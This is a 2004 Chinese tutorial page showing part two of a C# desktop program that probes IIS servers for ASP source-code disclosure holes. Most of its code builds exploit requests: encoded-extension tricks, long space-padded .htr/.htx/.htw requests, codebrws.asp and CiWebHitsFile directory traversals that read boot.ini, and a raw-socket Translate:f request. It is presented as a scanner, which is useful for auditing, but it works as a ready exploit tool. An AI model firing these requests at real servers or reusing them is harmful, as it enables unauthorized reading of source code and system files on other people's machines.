文章导航PC6首页软件下载单机游戏安卓资源苹果资源

pc软件新闻网络操作系统办公工具编程服务器软件评测

安卓新闻资讯应用教程刷机教程安卓游戏攻略tv资讯深度阅读综合安卓评测

苹果ios资讯苹果手机越狱备份教程美化教程ios软件教程mac教程

单机游戏角色扮演即时战略动作射击棋牌游戏体育竞技模拟经营其它游戏游戏工具

网游cf活动dnf活动lol周免英雄lol礼包

手游最新动态手游评测手游活动新游预告手游问答

您的位置:首页网页设计ASP实例 → 一个用c#写的扫描asp源码漏洞的应用程序续

一个用c#写的扫描asp源码漏洞的应用程序续

时间:2004/11/7 2:53:00来源:本站整理作者:蓝点我要评论(0)

//主要方法

        protected void btnGo_Click (object sender, System.EventArgs e)

        {



            //解析url

            string strServer = this.txtServer.Text ;

            string strUrl   = this.txtFileName.Text ;

            char [] point = {'.'} ;   //定义分割符为"."

            char[] line = {'/'} ;     //定义分割符为"."

            string [] arrString = strUrl.Split(line) ;



            //求asp文件全名

            string strFileName = arrString[arrString.Length - 1] ;

            //求从根目录下的路径

            string strPath = strUrl.Substring( 0 ,

                             strUrl.Length - strFileName.Length) ;



            //解析文件全名

            arrString = strFileName.Split(point) ;

            //求文件扩展名

            string strLast = arrString[arrString.Length - 1] ;

            //求文件名

            string strFirst = strFileName.Substring( 0 ,

                              strFileName.Length - strLast.Length - 1) ;

            





            //使按钮、输入框等失效

            this.txtServer.ReadOnly = true ;

            this.txtFileName.ReadOnly = true ;

            this.btnClear.Enabled = false ;

            this.btnGo.Enabled = false ;





            if (this.txtServer.Text == "http://" || this.txtFileName.Text == ""

                || this.txtServer.Text.Trim()== "" ||

                this.txtServer.Text.Substring(0,7) != "http://")

            {

                MessageBox.Show("请输入正确的主机名和文件名!") ;

                this.txtServer.Focus() ;

            }

            else

            {

                this.txtResult.Visible = true ;

                this.txtResult.ReadOnly = true ;

                this.barStatus.Text = "正在连结主机…" ;



                string strRequestFile ;



                switch (this.cboMethod.SelectedIndex)

                {

                    case 0:          //直接读取

                        strRequestFile = strServer + strUrl ;

                        break ;

                    case 5 :         //%2e%41sp

                        strRequestFile = strServer + strPath + strFirst

                                        + "%2e%41sp" ;

                        break ;

                    case 8 :        //longhtr

                        strRequestFile = strServer + strUrl

                             + "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"

                             + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"

                             + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                             + "%20%20%20%20%20%20%20%20"

                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr" ;

                        break ;



                    case 10:     //codebrws.asp

                        strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="

                                        + strUrl ;

                        break ;



                    case 11:    //showcode.asp

                        strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="

                                        + "/msadc/../../../../boot.ini" ;

                        break;



                    case 12 :  //null.htw

                        strRequestFile = strServer + "/null.htw?CiWebHitsFile="

                                        + strUrl + "%20&CiRestriction=none&CiHiliteType=Full" ;

                        break ;

                    case 13 :  //qfullhit.htw

                        strRequestFile = strServer + "/iissamples/issamples/oop/qfullhit.htw?"

                                        + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"

                                        + "&CiHiliteType=Full";

                        break ;



                    case 14 :  //qsumrhit.htw

                        strRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit.htw?"

                                        + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"

                                        + "&CiHiliteType=Full";

                        break ;



                    case 15 :  //query.idq

                        strRequestFile = strServer + "/query.idq?CiTemplate=/../../boot.ini"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"

                                        + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htx";

                        break ;



                    case 16:   //search/qfullhit.htw

                        strRequestFile = strServer + "/iissamples/exair/search/qfullhit.htw?"

                                        + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"

                                        + "&CiHiliteType=Full";

                        break ;



                    case 17:   // search/qsumrhit.htw

                        strRequestFile = strServer + "/iissamples/exair/search/qsumrhit.htw?"

                                        + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"

                                        + "&CiHiliteType=Full";

                        break ;

                    

                    case 18:   //iirturnh.htw

                        strRequestFile = strServer + "/iishelp/iis/misc/iirturnh.htw?"

                                        + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"

                                        + "&CiHiliteType=Full";

                        break ;



                    case 19:  //.htw

                        strRequestFile = strServer + strUrl

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"

                                        + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"

                                        + "%20%20%20%20%20%20%20%20%20%20%20.htw?"

                                        + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"

                                        + "&CiHiliteType=Full" ;

                        break ;



                    default:

                        strRequestFile = strServer + strUrl + this.cboMethod.Text ;

                }

                

                this.barStatus.Text = "发送请求:"

                                     + (strRequestFile.Length >= 50 ?

                                       strRequestFile.Substring(0 , 50)

                                        :strRequestFile)

                                     + "...";



                string strResult ;

                //如果不是translate:f方法则可以直接发送http请求

                if (this.cboMethod.SelectedIndex != 20)

                {

                    //直接发送http请求

                    strResult = Get_Http(strRequestFile) ;



                    this.barStatus.Text += "完成。"  ;

                    strResult = strResult == "" ? "未找到!" : strResult ;

                    this.txtResult.Text = strResult ;

                }

                else  //translate:f方法需要建立tcp/ip连接

                {

                    string strRequest = "GET " + strServer + strUrl

                                       + "\r\nHTTP/1.0\r\nTranslate:f\r\n" ;

                    strResult = Get_Socket_Request(strServer , strRequest , 80) ;

                    this.barStatus.Text += "完成。"  ;

                    strResult = strResult == "" ? "未找到!" : strResult ;

                    this.txtResult.Text = strResult ;



                }

            

            }



            //使按钮、输入款等恢复

            this.txtServer.ReadOnly = false ;

            this.txtFileName.ReadOnly = false ;

            this.btnClear.Enabled = true ;

            this.btnGo.Enabled = true ;





        }





        //通过同server建立tcp/ip连接,发送socket命令

        private string Get_Socket_Request(string a_strServer , string a_strRequest , Int32 a_intPort)

        {

            //Set up variables and String to write to the server

            Encoding ASCII = Encoding.Default ;

            string Get = a_strRequest + "Connection: Close\r\n\r\n";

            //string Get =

            Byte[] ByteGet = ASCII.GetBytes(Get);

            Byte[] RecvBytes = new Byte[256];

            String strRetPage = null;



            // IPAddress and IPEndPoint represent the endpoint that will

            //   receive the request

            IPAddress hostadd = DNS.Resolve(a_strServer.Substring(7 ,a_strServer.Length - 7));

            IPEndPoint EPhost = new IPEndPoint(hostadd, a_intPort);



            //Create the Socket for sending data over TCP

            Socket s = new Socket(AddressFamily.AfINet, SocketType.SockStream,

                                    ProtocolType.ProtTCP );



            // Connect to host using IPEndPoint

            if (s.Connect(EPhost) != 0)

            {

                strRetPage = "Unable to connect to host";

                return strRetPage;

            }



            // Sent the GET text to the host

            s.Send(ByteGet, ByteGet.Length, 0);



            // Receive the page, loop until all bytes are received

            Int32 bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);

            strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);



            while (bytes > 0)

            {

                bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);

                strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);

            }



            return strRetPage ;

        }



        //获取http页面函数

        private string Get_Http(string a_strUrl)

        {

            string strResult ;

            HttpWebRequest myReq = (HttpWebRequest)

                                   WebRequestFactory.Create(a_strUrl) ;



            try

            {

                HttpWebResponse HttpWResp = (HttpWebResponse)myReq.GetResponse();

                Stream myStream = HttpWResp.GetResponseStream () ;



                StreamReader sr = new StreamReader(myStream , Encoding.Default);

                StringBuilder strBuilder = new StringBuilder();

                while (-1 != sr.Peek())

                {

                    strBuilder.Append(sr.ReadLine()+"\r\n");

                }

                

                strResult = strBuilder.ToString();

            }

            catch(Exception exp)

            {

                 strResult = "错误:" + exp.Message ;

            }



            return strResult ;

            

        }



        //退出

        protected void mnuExit_Click (object sender, System.EventArgs e)

        {

            

            if (MessageBox.Show("真的退出吗?" , "退出系统" , MessageBox.YesNo) == DialogResult.Yes)

            {

                this.Close () ;



            }

        }





        //主函数

        public static void Main(string[] args)

        {

            Application.Run(new Form1());

        }

    }

}




相关阅读 Mac和Windows哪个好 windows和mac os对比介绍Win10预览版怎么升级 Win10预览版升级方法厂商不再预装Win7或8.1系统,驱动人生帮您快速升级Mac移动硬盘安装win8 Mac将win装在移动硬盘使用教程windows10xboxone串流简单教程Windows Hello怎么用 Windows Hello使用设置教程win10怎么关闭自动更新 win10如何关闭自动更新Mac系统如何远程桌面到Windows系统

文章评论
发表评论

热门文章 没有查询到任何记录。

最新文章 迅雷新手完全入门手册 asp下面javascript上传图片限制格式大小方法告诉大家网页弹出窗口应用总结ASP常见错误类型大全asp常见错误分析和解决办法

人气排行 总是弹出visual studio 实时调试器 三种解决SQLSERVER存储过程及调用详解Asp获取真实IP地址ASP中连接Mssql的几种方法一个简单好用的UBB编辑器(含代码)如何用Split将字符串转换为数组并获取数组下ASP防止表单重复提交的办法告诉你免费的简单聊天室源代码